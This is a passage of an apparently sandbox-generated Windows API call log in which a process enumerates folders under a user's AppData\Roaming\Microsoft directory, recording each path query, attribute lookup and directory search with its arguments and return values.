"c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\internet explorer\\userdata\\low\\5xg08rn1"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc49334d0, ftCreationTime.dwHighDateTime=0x1d2faa1, ftLastAccessTime.dwLowDateTime=0xc49334d0, ftLastAccessTime.dwHighDateTime=0x1d2faa1, ftLastWriteTime.dwLowDateTime=0xc49334d0, ftLastWriteTime.dwHighDateTime=0x1d2faa1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.716] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\5XG08RN1", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\5XG08RN1", lpFilePart=0x0) returned 0x53 [0068.716] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\5XG08RN1\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fd8ac0 [0068.716] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.716] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\5XG08RN1", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\5XG08RN1", lpFilePart=0x0) returned 0x53 [0068.716] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\5XG08RN1\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fd8ac0 [0068.716] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.716] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low", lpFilePart=0x0) returned 0x4a [0068.716] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8ac0 [0068.716] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.716] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData", lpFilePart=0x0) returned 0x46 [0068.716] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.717] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.717] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer", lpFilePart=0x0) returned 0x3d [0068.717] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.717] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.717] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MMC", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MMC", lpFilePart=0x0) returned 0x2f [0068.717] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MMC" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\mmc"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x740e1100, ftCreationTime.dwHighDateTime=0x1d2fab1, ftLastAccessTime.dwLowDateTime=0x740e1100, ftLastAccessTime.dwHighDateTime=0x1d2fab1, ftLastWriteTime.dwLowDateTime=0x740e1100, ftLastWriteTime.dwHighDateTime=0x1d2fab1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.717] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MMC", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MMC", lpFilePart=0x0) returned 0x2f [0068.717] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MMC\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.717] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.717] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MMC", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MMC", lpFilePart=0x0) returned 0x2f [0068.717] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MMC\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.717] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.717] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MS Project", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MS Project", lpFilePart=0x0) returned 0x36 [0068.718] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MS Project" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\ms project"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa82ed810, ftCreationTime.dwHighDateTime=0x1d30610, ftLastAccessTime.dwLowDateTime=0xa82ed810, ftLastAccessTime.dwHighDateTime=0x1d30610, ftLastWriteTime.dwLowDateTime=0xa82ed810, ftLastWriteTime.dwHighDateTime=0x1d30610, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.718] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MS Project", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MS Project", lpFilePart=0x0) returned 0x36 [0068.718] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MS Project\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.718] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.718] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MS Project\\12", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MS Project\\12", lpFilePart=0x0) returned 0x39 [0068.718] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MS Project\\12" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\ms project\\12"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa82ed810, ftCreationTime.dwHighDateTime=0x1d30610, ftLastAccessTime.dwLowDateTime=0xa82ed810, ftLastAccessTime.dwHighDateTime=0x1d30610, ftLastWriteTime.dwLowDateTime=0xa82ed810, ftLastWriteTime.dwHighDateTime=0x1d30610, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.718] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MS Project\\12", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MS Project\\12", lpFilePart=0x0) returned 0x39 [0068.718] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MS Project\\12\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.718] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.718] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MS Project\\12\\1033", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MS Project\\12\\1033", lpFilePart=0x0) returned 0x3e [0068.718] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MS Project\\12\\1033" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\ms project\\12\\1033"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa82ed810, ftCreationTime.dwHighDateTime=0x1d30610, ftLastAccessTime.dwLowDateTime=0xa8385d90, ftLastAccessTime.dwHighDateTime=0x1d30610, ftLastWriteTime.dwLowDateTime=0xa8385d90, ftLastWriteTime.dwHighDateTime=0x1d30610, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.718] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MS Project\\12\\1033", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MS Project\\12\\1033", lpFilePart=0x0) returned 0x3e [0068.718] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MS Project\\12\\1033\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8ac0 [0068.719] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.719] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MS Project\\12\\1033", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MS Project\\12\\1033", lpFilePart=0x0) returned 0x3e [0068.719] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MS Project\\12\\1033\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8ac0 [0068.719] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.719] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MS Project\\12", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MS Project\\12", lpFilePart=0x0) returned 0x39 [0068.719] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MS Project\\12\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.719] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.719] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MS Project", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MS Project", lpFilePart=0x0) returned 0x36 [0068.719] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MS Project\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.719] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.719] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network", lpFilePart=0x0) returned 0x33 [0068.719] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\network"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb20e20b0, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xb20e20b0, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xb20e20b0, ftLastWriteTime.dwHighDateTime=0x1d2e631, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.719] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network", lpFilePart=0x0) returned 0x33 [0068.720] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.720] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.720] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network\\Connections", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network\\Connections", lpFilePart=0x0) returned 0x3f [0068.720] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network\\Connections" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\network\\connections"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb20e20b0, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xb20e20b0, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xb20e20b0, ftLastWriteTime.dwHighDateTime=0x1d2e631, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.720] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network\\Connections", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network\\Connections", lpFilePart=0x0) returned 0x3f [0068.720] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network\\Connections\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.720] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.720] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk", lpFilePart=0x0) returned 0x43 [0068.720] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\network\\connections\\pbk"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb20e20b0, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xb20e20b0, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xb20e20b0, ftLastWriteTime.dwHighDateTime=0x1d2e631, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.720] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk", lpFilePart=0x0) returned 0x43 [0068.720] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8ac0 [0068.720] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.720] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk", lpFilePart=0x0) returned 0x4e [0068.721] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\network\\connections\\pbk\\_hiddenpbk"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb20e20b0, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xb2108210, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xb2108210, ftLastWriteTime.dwHighDateTime=0x1d2e631, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.721] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk", lpFilePart=0x0) returned 0x4e [0068.721] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fd8ac0 [0068.721] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.721] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk", lpFilePart=0x0) returned 0x4e [0068.721] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fd8ac0 [0068.721] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.721] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk", lpFilePart=0x0) returned 0x43 [0068.721] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8ac0 [0068.721] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.721] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network\\Connections", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network\\Connections", lpFilePart=0x0) returned 0x3f [0068.721] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network\\Connections\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.721] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.722] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network", lpFilePart=0x0) returned 0x33 [0068.722] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.722] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.722] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Office", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Office", lpFilePart=0x0) returned 0x32 [0068.722] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Office" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\office"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1496b810, ftCreationTime.dwHighDateTime=0x1d2e636, ftLastAccessTime.dwLowDateTime=0xa8953330, ftLastAccessTime.dwHighDateTime=0x1d30610, ftLastWriteTime.dwLowDateTime=0xa8953330, ftLastWriteTime.dwHighDateTime=0x1d30610, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0068.722] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Office", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Office", lpFilePart=0x0) returned 0x32 [0068.722] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Office\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.722] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.722] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Office\\Recent", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Office\\Recent", lpFilePart=0x0) returned 0x39 [0068.722] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Office\\Recent" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\office\\recent"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4d28b6b0, ftCreationTime.dwHighDateTime=0x1d2e636, ftLastAccessTime.dwLowDateTime=0xcd7a8be0, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xcd7a8be0, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.722] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Office\\Recent", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Office\\Recent", lpFilePart=0x0) returned 0x39 [0068.722] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Office\\Recent\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.722] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.723] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Office\\Recent", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Office\\Recent", lpFilePart=0x0) returned 0x39 [0068.723] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Office\\Recent\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.723] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.723] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Office", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Office", lpFilePart=0x0) returned 0x32 [0068.723] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Office\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.723] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.723] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Outlook", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Outlook", lpFilePart=0x0) returned 0x33 [0068.723] GetFileAttributesExW (in: 